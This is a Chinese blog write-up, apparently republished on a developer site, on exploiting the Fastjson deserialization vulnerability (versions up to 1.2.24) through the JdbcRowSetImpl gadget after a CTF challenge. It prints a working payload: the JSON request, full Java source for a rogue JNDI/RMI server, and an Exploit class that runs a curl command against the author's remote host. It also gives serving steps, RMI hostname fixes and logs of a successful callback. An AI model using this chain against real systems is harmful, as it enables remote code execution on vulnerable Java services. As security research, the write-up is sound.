Fastjson反序列化漏洞利用

栏目: Java · 发布时间: 6年前

内容简介:前几天护网杯比赛中,有一题关于Fastjson反序列化。有人在问为什么没有利用成功,而且比赛结束后的writeup也是用的写了一份fastjson反序列化漏洞的先说针对

前言

前几天护网杯比赛中,有一题关于Fastjson反序列化。有人在问为什么没有利用成功,而且比赛结束后的writeup也是用的 JdbcRowSetImpl EXP,所以简单看看原因。

利用

写了一份fastjson反序列化漏洞的 漏洞代码 ,简单描述下如何利用。

JdbcRowSetImpl

先说针对 JdbcRowSetImpl 的漏洞利用。

post提交:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}

JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference =
                new Reference("Exploit", "Exploit","http://test.joychou.org:8888/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }

}

Exploit.java

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "curl http://test.joychou.org/fastjson";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}

具体利用步骤:

  1. 提交POST的EXP,Content-Type设置为 Content-Type: application/json
  2. 提供一个JNDI的Server

    javac JNDIServer.java
    java JNDIServer
  3. 编译要执行的命令,并且提供一个Web接口

    javac Exploit.java
    java Exploit
    python -m SimpleHTTPServer 8888

刚开始我测试的 Java 版本是8u121,但是后来了解到8u121版本默认加了 trustURLCodebase 选项,默认不能用该EXP。

重新下载Java 1.8.0_102 进行测试,报错如下:

javax.naming.ServiceUnavailableException [
Root exception is java.rmi.ConnectException: Connection refused to host: 172.31.43.252; nested exception is: 
    java.net.ConnectException: Operation timed out]

很奇怪,出现一个内网IP,在 test.joychou.org 服务器上ifconfig发现,刚好是JNDIServer服务器的内网IP。所以为什么会连接内网IP,我提交的EXP明明是:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}

查看内网IP:

[root@sec]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.43.252  netmask 255.255.240.0  broadcast 172.31.47.255
        ether 00:16:3e:00:7b:60  txqueuelen 1000  (Ethernet)
        RX packets 63967662  bytes 27697084474 (25.7 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 62689390  bytes 24462345534 (22.7 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Google发现原因是因为:

这个问题其实是由rmi服务器端程序造成的。 客户端程序向服务端请求一个对象的时候,返回的stub对象里面包含了服务器的hostname,客户端的后续操作根据这个hostname来连接服务器端。要想知道这个hostname具体是什么值可以在服务器端bash中打入指令:hostname -i 如果返回的是127.0.0.1,那么你的客户端肯定会抛如标题的异常了。

果然是这样:

[root@sec fastjson]# hostname -i
172.31.43.252
[root@sec fastjson]# hostname
sectest

解决这个很简单,修改hostname为外网IP即可。

hostname 47.52.77.204

再打一次EXP,一发入魂。收到执行的命令:

183.128.132.139 - - [20/Oct/2018 22:02:23] "GET /Exploit.class HTTP/1.1" 200 -

20/Oct/2018:22:02:23 +0800 [-] 183.128.132.139 [-] XFF: - [-] test.joychou.org [-] GET /fastjson HTTP/1.1 [-] Body: - [-] UserAgent: curl/7.54.0 [-] Referer: - [-] Cookie: - [-] 80 [-] 404

后面我又在Java 1.7的版本测试了这个 JdbcRowSetImpl EXP,又有一个新的报错:

Caused by: java.lang.UnsupportedClassVersionError: Exploit : Unsupported major.minor version 52.0

Google后,发现是Java版本不兼容导致的问题。所以我在编译JNDIServer的服务器上用Java 1.7,直接打成功了。

最后的总结为,这个EXP适用于:

  • Fastjson版本小于等于1.2.24
  • Java版本小于8u121
  • Java 1.7的写的Fastjson漏洞,JNDIServer和Exploit的编译也需要Java 1.7编译。同理,1.8也一样。

Reference

https://blog.csdn.net/liupeifeng3514/article/details/78998127

本文由JoyChou 创作,采用 知识共享署名4.0 国际许可协议进行许可

本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名

最后编辑时间为: Oct 20, 2018 at 10:26 pm


以上所述就是小编给大家介绍的《Fastjson反序列化漏洞利用》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Speed Up Your Site

Speed Up Your Site

Andrew B. King / New Riders Press / 2003-01-14 / USD 39.99

There's a time bomb on the web: user patience. It starts ticking each time someone opens one of your pages. You only have a few seconds to get compelling content onto the screen. Fail, and you can kis......一起来看看 《Speed Up Your Site》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具